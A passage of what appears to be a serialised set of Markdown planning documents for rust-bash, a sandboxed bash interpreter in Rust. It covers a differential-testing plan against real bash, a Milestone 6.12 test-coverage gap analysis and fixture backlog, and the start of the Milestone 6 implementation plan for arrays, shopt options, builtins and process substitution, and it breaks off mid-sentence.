`to_entries`/`from_entries`, `@base64`/`@uri`/`@html`/`@csv`/`@tsv`, `-r` raw output, `-e` exit status, `--arg`, null input (`-n`), slurp (`-s`).\n\n### 3e. Fixture format for spec tests\n\nSpec tests use the same TOML format. For cases needing stdin, use the `stdin` field:\n\n```toml\n# tests/fixtures/spec/grep/basic.toml\n[[cases]]\nname = \"literal_match\"\nscript = 'echo -e \"apple\\nbanana\\ncherry\" | grep banana'\nstdout = \"banana\\n\"\nexit_code = 0\n\n[[cases]]\nname = \"no_match_exit_code\"\nscript = 'echo \"hello\" | grep xyz'\nstdout = \"\"\nexit_code = 1\n\n[[cases]]\nname = \"read_from_stdin\"\nscript = \"read LINE; echo $LINE\"\nstdin = \"hello world\"\nstdout = \"hello world\\n\"\nexit_code = 0\n```\n\nFor cases needing file input, use the `files` field to seed the VFS.\n\n**Exit criteria for Phase 3:**\n- At least 10 test cases per command (40+ total spec tests) covering implemented features. Expand as coverage grows.\n- All spec tests pass against rust-bash.\n- Tests cover both happy paths and error cases.\n- Unimplemented features are documented with `skip` and a reason.\n\n---\n\n## Phase 4 — CI Integration & Documentation\n\n### 4a. Verify `cargo test` integration\n\n- Ensure all comparison and spec tests run as part of `cargo test`.\n- Verify test output is readable — each failure should show the test name, file path, expected vs actual.\n- Ensure tests are not flaky (no timing dependencies, no host-dependent paths).\n\n### 4b. Document the testing workflow\n\nAdd a section to the guidebook (or update Chapter 9) describing:\n- How to add new comparison test cases (just add a TOML entry).\n- How to re-record fixtures (`RECORD_FIXTURES=1 cargo test comparison`).\n- How to mark known failures with `skip`.\n- How spec tests differ from comparison tests.\n\n### 4c. Add a recording CI step (optional, manual)\n\nDocument (but don't implement in CI) the workflow for periodically re-recording fixtures to catch regressions against newer bash versions. This is a manual process: a developer runs `RECORD_FIXTURES=1 cargo test comparison` locally, reviews the diffs, and commits updated fixtures.\n\n**Exit criteria for Phase 4:**\n- `cargo test` runs all comparison and spec tests.\n- Documentation is updated in Chapter 9 or a new section.\n- No test flakiness on repeated runs.\n\n---\n\n## Testing & Rollout\n\n- **Phase 1** is the foundation and the hardest phase — the runner, recording mode, and `datatest-stable` integration must be solid before writing test content.\n- **Phase 2** and **Phase 3** can proceed in parallel once Phase 1 is complete.\n- **Phase 4** is a lightweight wrap-up.\n- Initial target: 50+ comparison tests + 40+ spec tests = 90+ new test cases. Expand over time as M6 features land and M7 commands are added.\n- All new tests run within `cargo test` — no separate test commands needed.\n\n## Risk Assessment\n\n| Risk | Likelihood | Impact | Mitigation |\n|------|-----------|--------|------------|\n| `datatest-stable` API incompatibility | Low | Medium | The crate is stable and widely used (Deno, Move). If it doesn't fit, fall back to a simple `#[test]` per file using a macro + `glob` for discovery. |\n| Recording mode can't handle all test cases | Medium | Low | Tests needing VFS-absolute paths are marked `skip` for recording and have manually written expected output. Most tests use relative paths or pure-output scripts. |\n| TOML round-trip formatting changes | Low | Low | `toml_edit` preserves formatting. Committed to using it for recording mode. |\n| Bash version differences across machines | Low | Medium | Document minimum bash version (5.0+). Record bash version in a comment at the top of each fixture file. |\n| Flaky tests from non-deterministic output | Medium | Medium | Avoid date/time, PID, random values in test scripts. Use controlled environment with execution limits. |\n| Stderr wording varies across bash versions | Medium | Low | Use `stderr_contains` or `stderr_ignore` for fragile stderr checks. |\n| Infinite loop in rust-bash hangs test suite | Low | High | Set `ExecutionLimits` in the builder (max 10,000 iterations, 5s wall-clock) for all comparison tests. |\n","/home/user/docs/plans/M6.12.tests.md":"# Milestone 6.12: Test Coverage Gap Analysis and Backlog\n\n## Purpose\n\nThis document turns the current M6.12 gap analysis into an actionable test backlog for Milestone 6.\n\nIt has four goals:\n\n1. Record the current state of bash-comparison, spec, and integration coverage.\n2. Classify each M6 phase by implementation status and test status.\n3. Separate product gaps from harness gaps and test workarounds.\n4. Define the next fixture backlog so unimplemented M6 features are tracked now and start passing as implementation lands.\n\nThis is a planning and tracking document. It does not change feature scope from `docs/plans/M6.md` or `docs/guidebook/10-implementation-plan.md`.\n\n## Current State Snapshot\n\nAs of 2026-03-21, the test surface looks like this:\n\n| Suite | Current State | Notes |\n|-------|---------------|-------|\n| Comparison fixtures | 19 files / 156 cases / 5 skips | `cargo test --test comparison` passes |\n| Spec fixtures | 14 files / 200 cases / 0 skips | `cargo test --test spec_tests` passes |\n| Integration tests | 527 `#[test]`s / 5,221 lines in `tests/integration.rs` | broader than the older counts in docs |\n| just-bash comparison tests | 32 files / 532 `it(...)` cases | substantially broader comparison surface |\n\n### Document drift to fix later\n\n- Chapter 10 currently claims **157** comparison cases and **197** spec cases; actual counts are **156** and **200**.\n- `docs/plans/M6.12.md` still describes `tests/integration.rs` as ~4,700 lines / ~460 tests; current file size is materially larger.\n- Chapter 10 still describes M6.2 as planned, but `PIPESTATUS` and `BASH_REMATCH` arrays are already implemented and integration-tested.\n\n### What the comparison suite covers well today\n\nThe current comparison corpus is concentrated in:\n\n- quoting\n- expansion\n- word splitting\n- globbing\n- basic redirections\n- pipes\n- control flow\n- functions\n- here-documents\n\nThis is good coverage for pre-M6 shell behavior and for many M1 compatibility edges. It is not yet a strong representation of the broader M6 plan.\n\n### What the spec suite covers well today\n\nThe spec suite is healthy for:\n\n- `awk`\n- `grep`\n- `sed`\n- `jq`\n\nThis exceeds the original minimum in M6.12, but it is manual-output command testing, not differential bash-comparison coverage.\n\n## Overall Assessment\n\n### What is working\n\n- The M6.12 fixture infrastructure is real, stable, and running in CI via `cargo test`.\n- Recording mode exists and updates fixtures from real `/bin/bash`.\n- The comparison suite is already valuable for expansion, quoting, control flow, and redirection regressions.\n- The spec suite is broad and catches command-level regressions in mini-languages.\n\n### What is missing\n\n- Most M6-specific features are not represented in bash-comparison fixtures.\n- Several implemented M6 features are only covered by handwritten integration tests.\n- Some current `skip`s are hiding product gaps or harness gaps that should be tracked more explicitly.\n- The current fixture format has no first-class concept of \"expected failure until feature is implemented\".\n\n### Bottom line\n\nM6.12 is successful as infrastructure, but it is not yet sufficient as \"M6 bash-comparison coverage\". The current green suite mostly validates pre-M6 behavior while much of the real M6 backlog remains either:\n\n- implemented but not differentially tested, or\n- unimplemented and not represented in fixtures at all.\n\n## Classification By Milestone 6 Phase\n\n### M6.1 — Indexed and Associative Arrays\n\n**Implementation status**: Implemented.\n\n**Current test state**:\n\n- Strong integration coverage exists for indexed arrays, associative arrays, sparse arrays, `${arr[@]}` / `${arr[*]}`, length, keys, `unset`, append, arithmetic use, and the array element limit.\n- No comparison fixtures currently exercise arrays.\n\n**Assessment**:\n\n- This is the highest-value missing comparison area because it is already implemented and heavily used by later M6 phases.\n\n**Required next step**:\n\n- Add a comparison fixture file for core array behavior and a second file for interaction-heavy array cases.\n\n### M6.2 — `$PIPESTATUS` and `BASH_REMATCH` as Arrays\n\n**Implementation status**: Implemented.\n\n**Current test state**:\n\n- `PIPESTATUS` is implemented and integration-tested.\n- `BASH_REMATCH` indexed-array behavior is implemented and integration-tested.\n- No comparison fixtures cover either feature.\n\n**Assessment**:\n\n- This is a clear gap between current code and M6.12 expectations.\n- It is also a documentation drift point because the guidebook still treats M6.2 as planned.\n\n**Required next step**:\n\n- Add a dedicated comparison fixture file for `PIPESTATUS` and `BASH_REMATCH`.\n\n### M6.3 — Shopt Options\n\n**Implementation status**: Implemented.\n\n**Current test state**:\n\n- 8 comparison fixtures passing in `shopt/basic.toml`.\n- Covers nullglob, globstar, dotglob, failglob, nocaseglob, nocasematch, xpg_echo, lastpipe.\n- 3 xfail cases remain in `quoting/basic_quoting.toml` for ANSI-C quoting (`$'...'`) — parser-level limitation, not M6.3 scope.\n\n**Assessment**:\n\n- Complete. All planned shopt options are implemented and passing differential tests.\n\n### M6.4 — Additional Builtins\n\n**Implementation status**: Implemented.\n\n**Current test state**:\n\n- 16 comparison fixtures passing across `builtins/basic.toml` (9 pass) and `builtins/dirs_aliases.toml` (7 pass).\n- Covers type, command, builtin, getopts, mapfile/readarray, pushd/popd/dirs, hash, wait, alias/unalias.\n- `select` not implemented (parser lacks Select AST variant).\n\n**Assessment**:\n\n- Complete. All planned builtins (except `select`) are implemented and passing differential tests.\n\n### M6.5 — Full `read` Flags\n\n**Implementation status**: Implemented.\n\n**Current test state**:\n\n- 8 comparison fixtures passing in `read/flags.toml`.\n- Covers -r, -a, -d, -n, -N, -p, -t flags.\n- 10 comparison fixtures passing in `read_builtin.toml` for basic read behavior.\n\n**Assessment**:\n\n- Complete. All planned read flags are implemented and passing differential tests.\n\n### M6.6 — Full `declare` Attributes\n\n**Implementation status**: Implemented.\n\n**Current test state**:\n\n- Strong integration coverage exists for `-i`, `-l`, `-u`, `-n`, `-a`, `-A`, chains, cycles, and `declare -p`.\n- No comparison fixtures currently exercise this behavior.\n\n**Assessment**:\n\n- This is the second largest \"implemented but not differentially tested\" gap after arrays.\n\n**Required next step**:\n\n- Add a dedicated `declare/attributes.toml` comparison fixture file.\n\n### M6.7 — Process Substitution\n\n**Implementation status**: Implemented.\n\n**Current test state**:\n\n- 5 comparison fixtures passing in `process_substitution/basic.toml`.\n- Covers `<(cmd)` input, `>(cmd)` output, multiple substitutions, and nesting.\n\n**Assessment**:\n\n- Complete. All planned test cases passing.\n\n### M6.8 — Special Variable Tracking\n\n**Implementation status**: Implemented.\n\n**Current test state**:\n\n- 7 comparison fixtures passing in `special_vars/basic.toml`.\n- 5 comparison fixtures passing in `special_vars/call_stack.toml`.\n- Covers LINENO, SECONDS, $_, PPID/UID/EUID/BASHPID, SHELLOPTS/BASHOPTS, MACHTYPE/HOSTTYPE, FUNCNAME/BASH_SOURCE/BASH_LINENO.\n\n**Assessment**:\n\n- Complete. All planned special variables are implemented and passing differential tests.\n\n### M6.9 — Shell Option Enforcement\n\n**Implementation status**: Complete (core options enforced).\n\n**Current test state**:\n\n- 9 comparison fixtures in `set_options/basic.toml` — all passing (0 xfail).\n- 18 integration tests covering xtrace, noexec, noclobber (including `&>`), allexport, noglob, posix, vi/emacs, and format_options.\n\n**Known gaps** (not blocking):\n\n- `set -v` (verbose): flag stored but no behavioral effect (needs line-by-line parse-execute).\n- `set -a` (allexport): only wired in `set_variable()`; `declare X` without value and `read -a` not covered.\n- xtrace for compound commands (for/while/if conditions) not implemented.\n\n### M6.10 — Advanced Redirections\n\n**Implementation status**: Implemented.\n\n**Current test state**:\n\n- 10 comparison fixtures passing in `redirections/advanced.toml`.\n- Covers exec persistent redirections, /dev/stdin, /dev/stdout, /dev/stderr, /dev/zero, /dev/full, FD allocation {var}>file, read-write FD <>, FD movement N>&M-, pipe stderr |&.\n- 1 xfail remains in `redirections/basic_redirect.toml` for redirect ordering edge case (>&2 2>/dev/null).\n\n**Assessment**:\n\n- Complete. All planned advanced redirection features are implemented and passing differential tests.\n\n### M6.11 — Parameter Transformation Operators\n\n**Implementation status**: Implemented.\n\n**Current test state**:\n\n- Comparison fixtures in `parameter_transforms/basic.toml`: 9 cases, all passing.\n- Covers `${var@Q}`, `${var@E}`, `${var@A}`, `${var@a}`, `${!ref}`, `${!prefix*}`, `printf -v`, `printf %b`, `printf %q`.\n\n**Assessment**:\n\n- Core parameter transformation operators are implemented and passing differential tests.\n\n### M6.12 — Differential Testing Against Real Bash\n\n**Implementation status**: Implemented as infrastructure, incomplete as M6 coverage.\n\n**Current test state**:\n\n- Comparison and spec harnesses work.\n- The fixture corpus is green.\n- Most M6 feature work has not yet been brought into the comparison corpus.\n\n**Assessment**:\n\n- Infrastructure complete.\n- Coverage backlog incomplete.\n\n## Current Skips and Workarounds\n\n### Current comparison skips\n\nThere are 5 skipped comparison cases:\n\n1. Three ANSI-C quoting cases in `quoting/basic_quoting.toml`\n2. One stdin-redirection case skipped due to recorder path asymmetry\n3. One stderr-redirection ordering case skipped due to rust-bash behavior mismatch\n\n### How to classify them\n\n| Skip | Type | What to do |\n|------|------|------------|\n| ANSI-C quoting | product gap | convert to expected-fail tracking |\n| absolute-path stdin redirection in recording mode | harness gap | fix recorder staging behavior |\n| `>&2 2>/dev/null` ordering mismatch | code gap | fix interpreter semantics, then unskip |\n\n### Rule going forward\n\n`skip` should be reserved for cases that the harness cannot execute meaningfully.\n\nDo **not** use `skip` for known product gaps. Use recorded expected-fail cases instead.\n\n## Harness Gaps\n\n### 1. No expected-fail status\n\nThe current fixture schema only has:\n\n- normal passing cases\n- `skip`\n- limited stderr flexibility\n- `expect_error`\n\nThis is not enough to track planned-but-unimplemented M6 work cleanly.\n\n### 2. `expect_error` is not true differential coverage\n\nThe current runner treats an `exec()` error as success when `expect_error = true`, but it does not compare the recorded bash stderr/exit behavior in that path.\n\nThis means parse errors and execution errors are not actually compared against bash semantics even though the fixture format suggests they could be.\n\n### 3. Recorder path asymmetry for absolute VFS paths\n\nRecording mode strips the leading slash from fixture-seeded paths and stages them relative to a temp directory. This creates avoidable fixture asymmetry for cases that reference absolute VFS paths.\n\n### 4. No fixture locking or normalization metadata\n\njust-bash uses locked fixtures and per-test normalization to handle legitimate platform differences while keeping coverage visible. rust-bash currently handles the comparable pressure with `skip`, which throws away signal.\n\n## Required Tracking Model\n\nReplace the current binary \"pass or skip\" mindset with a three-state model.\n\n### Proposed fixture states\n\n| Status | Meaning | CI behavior |\n|--------|---------|-------------|\n| `pass` | should match today | mismatch fails |\n| `xfail` | known product gap, expected not to match yet | mismatch does not fail, match fails as unexpected pass |\n| `skip` | harness or platform blocker | excluded from normal pass/fail counts |\n\n### Required fixture metadata\n\nAdd these fields for new backlog cases:\n\n```toml\nstatus = \"xfail\"\nmilestone = \"M6.3\"\nfeature = \"shopt.nullglob\"\nreason = \"not implemented yet\"\n```\n\n### Required runner behavior\n\n- `pass` + mismatch => fail\n- `pass` + match => pass\n- `xfail` + mismatch => tracked expected failure\n- `xfail` + match => fail as unexpected pass so the case gets promoted\n- `skip` => ignored in outcome checks, but still counted in summary\n\n### Summary output requirement\n\nThe comparison runner should print a short end-of-run summary:\n\n- passing cases by milestone\n- expected-fail cases by milestone\n- skipped cases by milestone\n- unexpected passes\n- unexpected failures\n\nThis turns the comparison suite into a milestone-progress tracker instead of a flat green/red result.\n\n## Fixture Backlog\n\nThe next fixture backlog should be added in milestone order where practical, but already-implemented features should come first.\n\n### Priority 1: Implemented features missing comparison coverage\n\n#### `tests/fixtures/comparison/arrays/basic.toml`\n\n- `indexed_array_basic_assignment`\n- `indexed_array_sparse_indices`\n- `indexed_array_append`\n- `array_at_vs_star_quoted`\n- `associative_array_basic`\n- `associative_array_keys`\n- `array_length`\n- `unset_array_element`\n\n#### `tests/fixtures/comparison/arrays/pipestatus_bash_rematch.toml`\n\n- `pipestatus_single_command`\n- `pipestatus_multi_stage_pipeline`\n- `pipestatus_overwrite_after_simple_command`\n- `bash_rematch_whole_match`\n- `bash_rematch_capture_group_1`\n- `bash_rematch_capture_group_2`\n- `bash_rematch_array_length`\n- `bash_rematch_empty_on_no_match`\n\n#### `tests/fixtures/comparison/declare/attributes.toml`\n\n- `declare_integer_assignment`\n- `declare_integer_append`\n- `declare_lowercase`\n- `declare_uppercase`\n- `declare_nameref_read`\n- `declare_nameref_write`\n- `declare_nameref_cycle_errors`\n- `declare_p_formats_flags`\n- `declare_array_indexed`\n- `declare_array_associative`\n\n### Priority 2: Partially implemented features\n\n#### `tests/fixtures/comparison/read/flags.toml`\n\n- `read_basic_reply`\n- `read_raw_mode`\n- `read_prompt_noop`\n- `read_array_ra`\n- `read_delimiter_d`\n- `read_n_count`\n- `read_N_exact_count`\n- `read_timeout_stub`\n\nSuggested statuses:\n\n- `read_basic_reply`, `read_raw_mode`, `read_prompt_noop` => `pass`\n- `read_array_ra`, `read_delimiter_d`, `read_n_count`, `read_N_exact_count`, `read_timeout_stub` => `xfail`\n\n#### `tests/fixtures/comparison/redirections/advanced.toml`\n\n- `exec_persistent_stdout_redirect`\n- `dev_stdin_passthrough`\n- `dev_stdout_passthrough`\n- `dev_stderr_passthrough`\n- `dev_zero_read`\n- `dev_full_write_error`\n- `fd_variable_allocation`\n- `read_write_fd`\n- `fd_move_close`\n- `pipe_stderr_with_bar_and`\n\n### Priority 3: Unimplemented phases that should be tracked now\n\n#### `tests/fixtures/comparison/shopt/basic.toml`\n\n- `nullglob_nonmatch`\n- `failglob_nonmatch`\n- `dotglob_includes_hidden`\n- `nocasematch_case`\n- `globstar_recursive`\n- `lastpipe_persists_read`\n- `xpg_echo_default_escapes`\n- `shopt_p_output`\n\n#### `tests/fixtures/comparison/builtins/detection.toml`\n\n- `type_builtin`\n- `type_t_builtin`\n- `command_v_builtin`\n- `builtin_bypasses_function`\n\n#### `tests/fixtures/comparison/builtins/input_state.toml`\n\n- `getopts_basic_loop`\n- `mapfile_basic`\n- `mapfile_t_strip_newline`\n- `readarray_alias`\n- `wait_returns_zero`\n\n#### `tests/fixtures/comparison/builtins/dirs_aliases.toml`\n\n- `pushd_dirs_basic`\n- `popd_basic`\n- `dirs_p_format`\n- `hash_basic`\n- `hash_r_clears`\n- `alias_basic_listing`\n- `unalias_basic`\n\n#### `tests/fixtures/comparison/special_vars/basic.toml`\n\n- `lineno_tracks_statements`\n- `seconds_increments`\n- `underscore_last_argument`\n- `ppid_default`\n- `euid_default`\n- `machtype_default`\n- `hosttype_default`\n\n#### `tests/fixtures/comparison/special_vars/call_stack.toml`\n\n- `funcname_current_function`\n- `bash_source_current_source`\n- `bash_lineno_callsite`\n- `shellopts_reflect_errexit`\n- `bashopts_reflect_shopt`\n\n#### `tests/fixtures/comparison/set_options/basic.toml` ✅\n\nAll implemented and passing:\n- `set_x_emits_trace`\n- `set_x_pipeline_trace`\n- `set_v_verbose_echoes_input`\n- `set_n_noexec`\n- `set_C_noclobber`\n- `set_C_force_override`\n- `set_a_allexport`\n- `set_f_noglob`\n- `set_o_posix_accepts_flag`\n\n#### `tests/fixtures/comparison/parameter_transforms/basic.toml`\n\n- `transform_Q`\n- `transform_E`\n- `transform_P`\n- `transform_A`\n- `transform_a`\n- `indirect_expansion_basic`\n- `prefix_name_expansion`\n- `printf_v_assigns`\n- `printf_percent_b`\n- `printf_percent_q`\n\n#### `tests/fixtures/comparison/process_substitution/basic.toml`\n\n- `cat_input_process_substitution`\n- `diff_two_process_substitutions`\n- `output_process_substitution_cat`\n- `paste_two_process_substitutions`\n- `nested_process_substitution`\n\n## Recommended Execution Order\n\nUse this order for the follow-up implementation work:\n\n1. Add xfail support to the fixture format and runner.\n2. Convert current product-gap `skip`s to xfail cases.\n3. Fix the recorder path asymmetry so absolute-path file cases can be recorded normally.\n4. Add comparison fixtures for already-implemented M6 areas:\n   - arrays\n   - `PIPESTATUS` / `BASH_REMATCH`\n   - `declare` attributes\n5. Add mixed pass/xfail coverage for `read`.\n6. Add xfail fixture files for the remaining unimplemented M6 phases.\n7. Update Chapter 9 and Chapter 10 counts once the corpus lands.\n\n## Acceptance Criteria\n\nThis backlog should be considered complete when all of the following are true:\n\n- Every M6 phase from M6.1 through M6.11 is represented in the comparison fixture corpus.\n- No implemented M6 feature remains covered only by integration tests when bash-comparison coverage is practical.\n- Product gaps are represented as xfail fixtures, not hidden behind `skip`.\n- Harness-only skips are minimized and clearly documented.\n- The comparison runner reports pass / xfail / skip counts by milestone.\n- Chapter 9 and Chapter 10 are updated to reflect current corpus counts and current M6 implementation status.\n\n## Non-Goals\n\nThis document does not expand M6.12 into full M7 command-fidelity testing.\n\nThe comparison suite should eventually grow in that direction, but the backlog here is intentionally focused on Milestone 6 shell-language completeness and on closing the gap between the M6 plan and the current test corpus.\n","/home/user/docs/plans/M6.md":"# Milestone 6: Shell Language Completeness — Implementation Plan\n\n## Problem Statement\n\nrust-bash has a correct interpreter (M1), text-processing commands (M2), execution safety (M3), filesystem backends (M4), and integration targets (M5). However, real-world AI-generated bash scripts frequently use language features that are currently parsed but not executed: arrays, shopt options, advanced builtins (`mapfile`, `getopts`, `type`, `command`), process substitution, parameter transformations (`${var@Q}`, `${!ref}`), and special variables (`$PIPESTATUS`, `$FUNCNAME`, `$SECONDS`). Many `set` options (`-x`, `-a`, `-f`, `-n`, `noclobber`) are accepted syntactically but produce no behavioral effect.\n\nM6 closes these gaps so that bash scripts using arrays, shopt, advanced builtins, and process substitution work without modification. M6.12 (differential testing) was planned and partially implemented separately — see `docs/plans/M6.12.md`.\n\n## Prerequisites & Current State\n\n**M1–M5 are complete.** The interpreter handles:\n- Simple/compound commands, pipelines, functions, loops, case, arithmetic, globs, brace expansion, here-docs\n- 17 builtins: `exit`, `cd`, `export`, `unset`, `set`, `shift`, `readonly`, `declare`, `read`, `eval`, `source`, `break`, `continue`, `:`, `let`, `local`, `return`, `trap`\n- `Variable` is scalar-only: `{ value: String, exported: bool, readonly: bool }`\n- `ShellOpts` tracks 4 flags: `errexit`, `nounset`, `pipefail`, `xtrace`\n- `declare` supports only `-r` (readonly) and `-x` (export)\n- `read` supports only `-r` (raw) and `-p` (prompt, no-op)\n- `printf` is an external command (not a builtin) with standard format specifiers but no `-v`, `%b`, or `%q`\n\n**Parser support exists but is discarded for:** `AssignmentValue::Array`, `ArrayElementName`, `Parameter::NamedWithIndex`, `Parameter::NamedWithAllIndices`, `ParameterExpr::MemberKeys`, `ProcessSubstitution`, and all `ParameterTransformOp` variants (currently return value unchanged or empty string).\n\n**BASH_REMATCH** is stored as flat variables (`BASH_REMATCH`, `BASH_REMATCH_1`, `BASH_REMATCH_2`, etc.) rather than as an indexed array. **PIPESTATUS** is not exposed — `exit_codes` is collected in `execute_pipeline` but discarded. **$LINENO** returns hardcoded `\"0\"`.\n\n## Dependency Graph\n\n```\nM6.1 (arrays) ─────┬── M6.2 (PIPESTATUS / BASH_REMATCH)\n                    ├── M6.5 (read -a)\n                    ├── M6.8 (FUNCNAME / BASH_SOURCE / BASH_LINENO arrays)\n                    └── M6.11 (${!prefix*}, array @Q/@A)\nM6.1 + M6.6 ───────┬── M6.4 (mapfile — needs arrays + declare -a)\nM6.3 (shopt) ──────┬── M6.9 (shell option enforcement — partial overlap)\nM6.6 (declare) ────┬── M6.11 (${var@a} needs attribute flags)\n\nIndependent:  M6.3, M6.7, M6.9, M6.10 (can start in parallel with others)\n```\n\n**Recommended execution order** (from guidebook §10):\nM6.1 → M6.6 → M6.2 → M6.5 → M6.3 → M6.4 → M6.8 → M6.9 → M6.10 → M6.11 → M6.7\n\n## Key Design Challenges\n\n### 1. Variable Type System Evolution\n\nThe `Variable` struct must grow from scalar-only to support indexed arrays, associative arrays, and attribute flags — without bloating the common case (most variables are plain strings). Every call site that reads or writes `Variable.value` must be audited.\n\n**Solution**: Replace the flat fields with an enum + bitflags:\n\n```rust\n#[derive(Debug, Clone)]\npub enum VariableValue {\n    Scalar(String),\n    IndexedArray(BTreeMap<usize, String>),\n    AssociativeArray(BTreeMap<String, String>),\n}\n\nbitflags::bitflags! {\n    #[derive(Debug, Clone, Copy, PartialEq, Eq)]\n    pub struct VariableAttrs: u16 {\n        const EXPORTED  = 0b0000_0001;\n        const READONLY  = 0b0000_0010;\n        const INTEGER   = 0b0000_0100;\n        const LOWERCASE = 0b0000_1000;\n        const UPPERCASE = 0b0001_0000;\n        const NAMEREF   = 0b0010_0000;\n    }\n}\n\n#[derive(Debug, Clone)]\npub struct Variable {\n    pub value: VariableValue,\n    pub attrs: VariableAttrs,\n}\n```\n\n`VariableValue::Scalar` is the default. `BTreeMap<usize, String>` for indexed arrays preserves sparse semantics (bash arrays are sparse — `unset arr[5]` doesn't reindex). `BTreeMap<String, String>` for associative arrays gives deterministic iteration order for test stability.\n\n### 2. Array Expansion Semantics\n\n`${arr[@]}` vs `${arr[*]}` have subtly different behaviors: `\"${arr[@]}\"` produces one word per element (even with IFS), while `\"${arr[*]}\"` joins elements with the first character of `$IFS`. `${#arr[@]}` returns element count, not string length. `${!arr[@]}` returns keys, not values. These must integrate cleanly into the existing `expand_word` → `resolve_parameter` pipeline in `expansion.rs`.\n\n**Solution**: `resolve_parameter` gains array-aware branches for `Parameter::NamedWithIndex` and `Parameter::NamedWithAllIndices`. For `[@]` expansions, return a `Vec<String>` (multiple words) rather than a single string — this requires `expand_word` to handle multi-word returns from parameter resolution. Factor out a `ParameterResult` enum (`Single(String)` | `Multiple(Vec<String>)`) to carry this through cleanly.\n\n### 3. Shopt Behavioral Wiring\n\nEach shopt option must modify a different subsystem: `nullglob`/`failglob`/`dotglob`/`nocaseglob`/`globstar`/`globskipdots` affect glob expansion (in `expansion.rs` and `pattern.rs`), `nocasematch` affects `[[ =~ ]]` and `case` (in `walker.rs`), `lastpipe` changes pipeline execution (in `walker.rs`), `xpg_echo` changes the `echo` command (in `commands/mod.rs`). The shopt struct must be accessible from all these sites.\n\n**Solution**: Add `ShoptOpts` to `InterpreterState` (it's already passed everywhere). Each behavioral site reads the relevant flag. The `shopt` builtin reads/writes the struct. No cross-cutting concerns — each flag is wired locally.\n\n### 4. Process Substitution Without Real FDs\n\nReal bash implements `<(cmd)` with `/dev/fd/N` backed by OS pipes. In a sandboxed VFS environment, there are no real FDs. We must simulate the behavior using temp VFS files.\n\n**Solution**: For `<(cmd)`: execute command, capture stdout, write to temp VFS path `/tmp/.proc_sub_XXXXXX`, substitute that path into the argument list. For `>(cmd)`: create temp file, substitute its path, after outer command completes read the temp file and pipe contents as stdin to inner command. Clean up temp files with RAII guard. This works because commands already go through VFS for all file operations.\n\n### 5. Nameref Depth Limiting\n\n`declare -n ref=target` creates an indirection chain. Circular namerefs (`declare -n a=b; declare -n b=a`) must not infinite-loop. Real bash caps at about 10 levels.\n\n**Solution**: `resolve_nameref(name, state, depth)` with `depth` capped at 10. Return an error on exceeding the cap: `\"${name}: circular name reference\"`.\n\n## File Organization\n\n```\nsrc/interpreter/\n├── mod.rs          # Variable, VariableValue, VariableAttrs, ShoptOpts, InterpreterState\n│                   #   (updated: new types, new fields on InterpreterState)\n├── builtins.rs     # Existing builtins (updated: declare, read, set)\n│                   #   + new builtins: getopts, mapfile, type, command, builtin,\n│                   #     pushd/popd/dirs, hash, wait, alias/unalias, select, shopt\n├── expansion.rs    # Array expansion, parameter transforms, indirect expansion,\n│                   #   ${!prefix*}, special variable resolution\n├── walker.rs       # Pipeline PIPESTATUS, process substitution, exec builtin,\n│                   #   advanced redirections, shopt wiring, set option enforcement\n├── pattern.rs      # Shopt glob flags (nullglob, dotglob, etc.)\n├── arithmetic.rs   # Array index in arithmetic contexts\n└── brace.rs        # (no changes expected)\n\nsrc/commands/\n├── mod.rs          # echo: xpg_echo wiring\n└── text.rs         # printf: -v flag, %b, %q formats\n```\n\nNo new files needed — all changes extend existing modules. The builtins file will grow significantly (~600+ lines for new builtins); if it exceeds ~2000 lines, consider splitting into `builtins/` submodule, but start without the split.\n\n### Dependencies\n\n**New crate:**\n- `bitflags` (latest) — for `VariableAttrs`. Zero-cost abstraction, widely used, no transitive deps.\n\n**No other new crates.** All features are implementable with existing dependencies.\n\n---\n\n## Phase 1 — Indexed and Associative Arrays (M6.1) ✅\n\n> Extend Variable to hold array data. Handle array assignment, expansion, and arithmetic. Enforce maxArrayElements limit.\n>\n> **Status: COMPLETE.** All sub-tasks implemented and tested (31 integration tests). All 1609 tests pass.\n\nThis is the highest-impact phase — it unblocks M6.2, M6.4, M6.5, M6.6, M6.8, and M6.11.\n\n### 1a. Evolve `Variable` struct\n\nAdd `VariableValue` enum, `VariableAttrs` bitflags, and update `Variable`:\n\n```rust\n// interpreter/mod.rs\nuse std::collections::BTreeMap;\n\n#[derive(Debug, Clone, PartialEq)]\npub enum VariableValue {\n    Scalar(String),\n    IndexedArray(BTreeMap<usize, String>),\n    AssociativeArray(BTreeMap<String, String>),\n}\n\nimpl VariableValue {\n    /// Return the scalar value, or element [0] for indexed arrays,\n    /// or empty string for associative arrays (matches bash behavior).\n    pub fn as_scalar(&self) -> &str { ... }\n\n    /// Return element count for arrays, or 1 for non-empty scalars.\n    pub fn count(&self) -> usize { ... }\n}\n```\n\nMigrate `Variable.value: String` → `Variable.value: VariableValue`, `Variable.exported: bool` / `Variable.readonly: bool` → `Variable.attrs: VariableAttrs`. Update `set_variable()` helper and every site that reads `.value`, `.exported`, `.readonly`.\n\nAdd `maxArrayElements` to `ExecutionLimits` (default 100,000). Enforce on every array insert/append.\n\n### 1b. Array assignment handling\n\nIn `walker.rs`, update the assignment handling code (currently at line ~290) to process:\n\n- **`arr=(val1 val2 val3)`** — `AssignmentValue::Array` → create `VariableValue::IndexedArray`\n- **`arr[N]=val`** — `ArrayElementName(name, index)` → insert into existing array at index, or create a new indexed array if the variable doesn't exist\n- **`arr+=(val4 val5)`** — append to existing array (assign starting from `max_key + 1`)\n- **`assoc[key]=val`** — if variable is declared as `AssociativeArray`, use string key\n\nArithmetic-evaluate index expressions (e.g., `arr[$((i+1))]=val`) using the existing `evaluate_arithmetic` function.\n\n### 1c. Array parameter expansion\n\nIn `expansion.rs`, update `resolve_parameter` to handle:\n\n- **`${arr[N]}`** (`Parameter::NamedWithIndex`) — look up element N in the array\n- **`${arr[@]}`** / **`${arr[*]}`** (`Parameter::NamedWithAllIndices`) — expand to all values. `[@]` produces separate words; `[*]` joins with first char of IFS\n- **`${#arr[@]}`** — element count (not string length)\n- **`${!arr[@]}`** / **`${!arr[*]}`** (`ParameterExpr::MemberKeys`) — expand to all keys/indices\n- **`${arr[@]:offset:length}`** — array slicing\n- **`unset arr[N]`** — remove element without reindexing (sparse array semantics)\n- **`unset arr`** — remove entire array variable\n\nIntroduce `ParameterResult` enum (`Single(String)` | `Multiple(Vec<String>)`) to carry multi-word expansions through `expand_word`. When `[@]` is inside double quotes, each element becomes a separate word (like `\"$@\"` for positional parameters).\n\n### 1d. Array in arithmetic\n\nIn `arithmetic.rs`, support `arr[expr]` inside arithmetic expressions — evaluate the index expression, then look up the array element. If the variable is not an array, treat `var[0]` as the scalar value (bash 